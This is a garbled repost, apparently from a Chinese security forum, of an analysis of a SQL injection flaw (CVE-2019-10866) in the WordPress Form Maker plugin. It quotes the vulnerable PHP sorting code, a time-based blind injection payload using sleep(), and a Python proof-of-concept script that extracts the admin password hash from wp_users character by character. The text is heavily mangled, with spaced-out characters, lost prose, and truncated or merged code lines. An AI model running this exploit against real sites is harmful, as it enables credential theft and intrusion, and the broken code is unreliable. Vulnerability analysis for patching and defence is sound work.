[14236] 2019-06-16_WordPress插件FormMakerSQL注入漏洞分析

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-18
2019-06-16_WordPress插件FormMakerSQL注入漏洞分析 W o r d P r e s s F o r m   M a k e r   S Q L K r i s t o n   F r e e B u f   2 0 1 9 - 0 6 - 1 6 W o r d P r e s s 姿 姿 E a s y   W P   S M T P   S o c i a l   W a r f a r e F o r m   M a k e r F o r m   M a k e r 1 . 1 3 . 3 s q l C V E - 2 0 1 9 - 1 0 8 6 6 c m s P O C W o r d p r e s s 5 . 1   +   F o r m   M a k e r 1 . 1 3 . 3 W o r d P r e s s 5 . 1 F o r m M a k e r p h p . i n i w p - c o n t e n t p l u g i n s f o r m - m a k e r a d m i n m o d e l s S u b m i s s i o n s _ f m . p h p c v e p h p $ a s c _ o r _ d e s c $ a s c _ o r _ d e s c w p - c o n t e n t p l u g i n s f o r m - m a k e r a d m i n c o n t r o l l e r s S u b m i s s i o n s _ f m . p h p X 2 a s c _ o r _ d e s c s q l $ a s c _ o r _ d e s c s q l 使         . . .         $ o r d e r _ b y   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' o r d e r _ b y ' ,   ' g r o u p _ i d ' ) ;         $ a s c _ o r _ d e s c   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' a s c _ o r _ d e s c ' ,   ' d e s c ' ) ;           . . .         i f   (   $ o r d e r _ b y   = =   ' g r o u p _ i d '   o r   $ o r d e r _ b y   = =   ' d a t e '   o r   $ o r d e r _ b y   = =   ' i p '   )   {             $ o r d e r b y   =   '   O R D E R   B Y   '   .   $ o r d e r _ b y   .   '   '   .   $ a s c _ o r _ d e s c   .   ' ' ;         }         e l s e   i f   (   $ o r d e r _ b y   = =   ' d i s p l a y _ n a m e '   o r   $ o r d e r _ b y   = =   ' u s e r _ e m a i l '   )   {             $ o r d e r b y   =   '   O R D E R   B Y   ( S E L E C T   '   .   $ o r d e r _ b y   .   '   F R O M   '   .   $ w p d b - > p r e f i x   .   ' u s e r s   W H E R E   I D = u s e r _ i d _ w d )   '   .   $ a s c _ o r _ d e s c   .   ' ' ;         }         e l s e   {             $ o r d e r b y   =   " " ;         } $ a s c _ o r _ d e s c   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' a s c _ o r _ d e s c ' ,   ' d e s c ' ) ;           . . .         i f   (   $ o r d e r _ b y   = =   ' g r o u p _ i d '   o r   $ o r d e r _ b y   = =   ' d a t e '   o r   $ o r d e r _ b y   = =   ' i p '   )   {             $ o r d e r b y   =   . . .         $ g r o u p _ i d s   =   ( ( i s s e t ( $ l a b e l s _ p a r a m e t e r s [ 6 ] ) )   ?   $ l a b e l s _ p a r a m e t e r s [ 6 ]   :   N U L L ) ;                           $ p a r a m s [ ' g r o u p _ i d _ s ' ]   =   $ t h i s - > m o d e l - > s o r t _ g r o u p _ i d s ( c o u n t ( $ p a r a m s [ ' s o r t e d _ l a b e l _ n a m e s ' ] ) ,   $ g r o u p _ i d s ) ;                           $ p a r a m s [ ' w h e r e _ c h o i c e s ' ]   =   $ l a b e l s _ p a r a m e t e r s [ 7 ] ;                           $ p a r a m s [ ' s e a r c h e d _ i d s ' ]   =   $ l a b e l s _ p a r a m e t e r s [ 8 ]   ?   i m p l o d e ( ' , ' ,   $ l a b e l s _ p a r a m e t e r s [ 8 ] )   :   ' ' ;                           $ p a r a m s [ ' g r o u p i d s ' ]         =   $ l a b e l s _ p a r a m e t e r s [ 8 ]   ?   a r r a y _ r e v e r s e ( $ l a b e l s _ p a r a m e t e r s [ 8 ] )   :   a r r a y ( ) ;                           $ p a r a m s [ ' o r d e r _ b y ' ]               =   $ o r d e r _ b y   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' o r d e r _ b y ' ,   ' g r o u p _ i d ' ) ;                           $ p a r a m s [ ' a s c _ o r _ d e s c ' ]   =   $ a s c _ o r _ d e s c     =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' a s c _ o r _ d e s c ' ,   ' d e s c ' ) ;         . . .         i f   (   ! e m p t y ( $ _ P O S T [ ' o r d e r _ b y ' ] )   | |   ! e m p t y ( $ _ P O S T [ ' a s c _ o r _ d e s c ' ] )   )   {                 $ i s _ s o r t         =   t r u e ;                 $ o r d e r _ b y         =   $ _ P O S T [ ' o r d e r _ b y ' ] ;                 $ a s c _ o r _ d e s c   =   $ _ P O S T [ ' a s c _ o r _ d e s c ' ] ;         . . .         F o r e a c h   (   $ l i s t s   a s   $ l i s t _ k e y   = >   $ l i s t _ v a l   )   {         I f   (   ! E m p t y ( $ _ G E T [ $ l i s t _ k e y ] )   )   {                 $ l i s t s [ $ l i s t _ k e y ]   =   u r l e n c o d e ( W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( $ l i s t _ k e y ) ) ;                 $ p a g i n a t i o n _ u r l _ a r g s [ $ l i s t _ k e y ]   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( $ l i s t _ k e y ) ;                 $ p a g i n a t i o n _ u r l _ a r g s [ i s _ s e a r c h ]   =   1 ;                 }         }         $ p a g i n a t i o n _ u r l   =   a r r a y _ m e r g e ( r r a y ( p a g e   = >   $ t h i s - > p a g e ,   t a s k   = >   d i s p l a y ,   c u r r e n t _ i d   = >   $ i d ,   o r d e r _ b y   = >   $ o r d e r _ b y ,   a s c _ o r _ d e s c   = >                                                                           $ a s c _ o r _ d e s c ) , p a g i n a t i o n _ u r l _ a r g s ) ;         p a r a m s [ p a g i n a t i o n _ u r l ]     =   a d d _ q u e r y _ a r g (   $ p a g i n a t i o n _ u r l   ,   a d m i n _ u r l ( a d m i n . p h p )   ) ; $ p a r a m s [ ' a s c _ o r _ d e s c ' ]   =   $ a s c _ o r _ d e s c     =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' a s c _ o r _ d e s c ' ,   ' d e s c ' ) ; . . .         i f   (   ! e m p t y ( $ _ P O S T [ ' o r d e r _ b y ' ] )   | |   ! e m p t y ( $ _ P O S T [ ' a s c _ o r _ d e s c ' ] )   )   {         $ i s _ s o r t         =   , ( c a s e + w h e n + ( s e l e c t + s l e e p ( 5 ) + f r o m + w p _ u s e r + l i m i t + 1 ) + t h e n + 1 + e l s e + 2 + e n d ) + a s c + - - +
D a n i e l e   S c a n u   @   C e r t i m e t e r   G r o u p W o r d P r e s s w p _ u s e r T I M E i m p o r t   r e q u e s t s i m p o r t   t i m e u r l _ v u l n   =   ' h t t p : / / i p / w o r d p r e s s / w p - a d m i n / a d m i n . p h p ? p a g e = s u b m i s s i o n s _ f m & t a s k = d i s p l a y & c u r r e n t _ i d = 2 & o r d e r _ b y = g r o u p _ i d & g r o u p _ i d & a s c _ o r _ d e s c = '     # g r o u p _ i d & g r o u p _ i d & a s c _ o r _ d e s c = ' s e s s i o n   =   r e q u e s t s . S e s s i o n ( ) d i c t i o n a r y   =   ' @ . _ - $ / " % & ; § + * 1 2 3 4 5 6 7 8 9 0 q w e r t y u i o p a s d f g h j k l z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M ' f l a g   =   T r u e u s e r n a m e   =   " " p a s s w o r d   =   " " t e m p _ p a s s w o r d   =   " " T I M E   =   1 d e f   l o g i n ( u s e r n a m e ,   p a s s w o r d ) :         p a y l o a d   =   {                 ' l o g ' :   u s e r n a m e ,                 ' p w d ' :   p a s s w o r d ,                 ' w p - s u b m i t ' :   ' L o g i n ' ,                 ' r e d i r e c t _ t o ' :   ' h t t p : / / i p / w o r d p r e s s / w p - a d m i n / ' ,                 ' t e s t c o o k i e ' :   1         }         s e s s i o n . p o s t ( ' h t t p : / / i p / w o r d p r e s s / w p - l o g i n . p h p ' ,   d a t a = p a y l o a d ) d e f   p r i n t _ s t r i n g ( s t r ) :         p r i n t   " 0 3 3 c "         p r i n t   s t r d e f   g e t _ a d m i n _ p a s s ( ) :         l e n _ p w d   =   1         g l o b a l   f l a g         g l o b a l   t e m p _ p a s s w o r d         w h i l e   f l a g :                 f l a g   =   F a l s e                 c h _ t e m p   =   ' '                 f o r   c h   i n   d i c t i o n a r y :                         p r i n t _ s t r i n g ( " [ * ]   P a s s w o r d   d u m p :   "   +   t e m p _ p a s s w o r d   +   c h )                         c h _ t e m p   =   c h                         s t a r t _ t i m e   =   t i m e . t i m e ( )                         r   =   s e s s i o n . g e t ( u r l _ v u l n   +   ' , ( c a s e + w h e n + ( s e l e c t + a s c i i ( s u b s t r i n g ( u s e r _ p a s s , '   +   s t r ( l e n _ p w d )   +   ' , '   +   s t r ( l e n _ p w d )   +   ' ) ) + f r o m + w p _ u s e r s + w h e r e + i d % 3 d 1 ) % 3 d '   +   s t r ( o r d ( c h ) )   +                           e l a p s e d _ t i m e   =   t i m e . t i m e ( )   -   s t a r t _ t i m e                         i f   e l a p s e d _ t i m e   > =   T I M E :                                 f l a g   =   T r u e                                 b r e a k                 i f   f l a g :                         t e m p _ p a s s w o r d   + =   c h _ t e m p                         l e n _ p w d   + =   1 l o g i n ( u s e r n a m e ,   p a s s w o r d ) g e t _ a d m i n _ p a s s ( ) p r i n t _ s t r i n g ( " [ + ]   P a s s w o r d   f o u n d :   "   +   t e m p _ p a s s w o r d )
1 . 1 3 . 3 $ a s c _ o r _ d e s c c m s s q l * K r i s t o n F r e e B u f

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则